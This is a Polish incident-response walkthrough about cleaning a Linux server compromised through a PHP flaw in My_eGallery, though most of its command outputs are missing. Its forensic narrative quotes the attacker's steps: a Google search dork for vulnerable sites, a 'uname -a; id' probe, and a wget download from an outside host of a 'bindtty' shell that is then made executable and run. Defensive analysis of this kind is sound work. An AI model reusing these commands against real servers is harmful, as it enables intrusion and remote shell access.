Opisano tu przypadek serwera z zainstalowanym wirusem, który nadal można uratować - bez konieczności reinstalacji.



Najwyraźniej haker wykorzystał luki w skryptach php i mógł mieć dostęp do powłoki shell na serwerze. Następnie mógł zainstalować, skompilować i uruchomić różne programy. Widać, że używano nazw takich jak httpd, które oznaczają z reguły serwer apache. Na pierwszy rzut oka wygląda to na serwer web, mimo że tak w istocie nie jest.

Haker mógł również zobaczyć to:



Klient skompilował jądro bez błędu zabezpieczenia. Możemy zatem domyślać się, że haker nie mógł mieć dostępu roota do serwera.
Przeprowadzimy kilka testów:



Widać, że proces rh nasłuchuje na porcie 3049. W grę wchodzi wirus. Proces jest w stanie "nobody"; pewne jest, że wirus nie został zainstalowany (jak na razie). Należy być teraz bardzo ostrożnym. Jeden nieprawidłowy krok może skutkować instalacją wirusa w root i nie pozostanie nic poza reinstalacją serwera. Dlatego najpierw zaczniemy od sprawdzenia, czy chodzi o wirusa. Zainstalujemy antywirusa i przeglądniemy katalogi.


Zrobimy to tak, żeby wirus nie mógł zmodyfikować antywirusa.



Teraz sprawdzimy katalogi:


Jest to Rst.B :
http://www.computeruser.com/news/02/01/08/news1.html
http://www.sophos.fr/virusinfo/analyses/linuxrstb.html

NIE WOLNO dopuścić do jego instalacji.
Obecnie wirus ten jest wykonywany przez nobody - użytkownik nie może zrobić wiele na serwerze. Mając połączenie root , jeżeli go zainstaluje, da mu prawo dostępu jako root czyli superużytkownik. Od tego momentu wirus mający prawo dostępu do całego dysku będzie oddziaływał na wszystkie pliki (które należą do root).



Oto plik bash w shell. Sprawdźmy to, co dopisał hacker:


Widzimy, że utworzono katalog " " (ze spacją). Poza tym hacker instaluje bounce'a IRC, którego będzie wykorzystywał w przyszłości do łączenia jednego serwera z drugim. Pozwoli mu to na uniknięcie podania jego prawdziwego ip połączenia. Pozostanie zawsze anonimowy.

Teraz zatrzymamy procesy :


Sprawdzamy, czy hacker nie zainstalował pliku crontab




Doskonale. Serwer jest znowu czysty. Ale haker może nadal wykorzystwać lukę w skryptach php i powrócić na serwer. Należy więc odnaleźć plik php, który nie jest zabezpieczony.



W tym celu wyszukamy żądania GET w skryptach php, gdzie sprawdzimy parametry. Najprawdopodobniej haker użył wget, aby wgrać na serwer plik wykonywalny.



Zgadza się. Sprawdzimy teraz, co jeszcze zrobił.



I tak:
Poprzez Google wyszukiwał stron, które zostały zainstalowane w My_EGallery. www.google.com.my/search?q=allinurl:+My_eGallery+site
Najpierw próbował sprawdzić, czy ten skrypt ma lukę poprzez próbę wykonania uname -a; id . Widocznie to zadziałało. Zainstalował shella z wirusem i skopiował go do katalogu /tmp wget 20streez.org/bindtty -O /tmp/bindtty. Nastepnie przyznał uprawnienia wykonania temu skryptowi : chmod 777 /tmp/bindtty i wykonał go : /tmp/./bindtty

To pozwoliło mu uruchomić shella i otrzymać dostęp do serwera jako nobody. A wszystko to w 1 minutę i 23 sekundy !! Zablokujemy ten katalog :


Haker łączył się z adresu ip 202.133.101.83



Ip z Malezji, prawdopodobnie zaatakowany abonent ADSL. Nic nie da złożenie doniesienia na Policję.
W dmesg serwera widać:



Haker chciał uruchomić softa alina, prawdopodobnie skan sieci. Na szczęście komórka GRS wykryła to i zakończyła ten proces. Następnie haker próbował przeprowadzić inne skany sieci. Były one na tyle agresywne, że połączenie sieciowe rj45 przerwało je w przeciągu kilku sekund :



Ponieważ połączenie zostało przerwane, wykresy MRTG nie pokazują ataku. Widoczne jest, że ip połączenia ponownie zmieniło się :



Adres IP z Rumunii.



Ponownie adres IP z Rumunii.






Napiszemy wiadomość e-mail do administratorów sieci, którzy zarządzają tymi ip, aby sprawdzili swoją sieć. Nigdy jednak nie otrzymamy odpowiedzi i nigdy nie będziemy wiedzieć, czy sieć została sprawdzona.

Wniosek: Aktualizuj swój serwer i sprawdzaj, co sie na nim dzieje. Atak hakera jest łatwy i szybki. Hakera nia można jednak odnaleźć.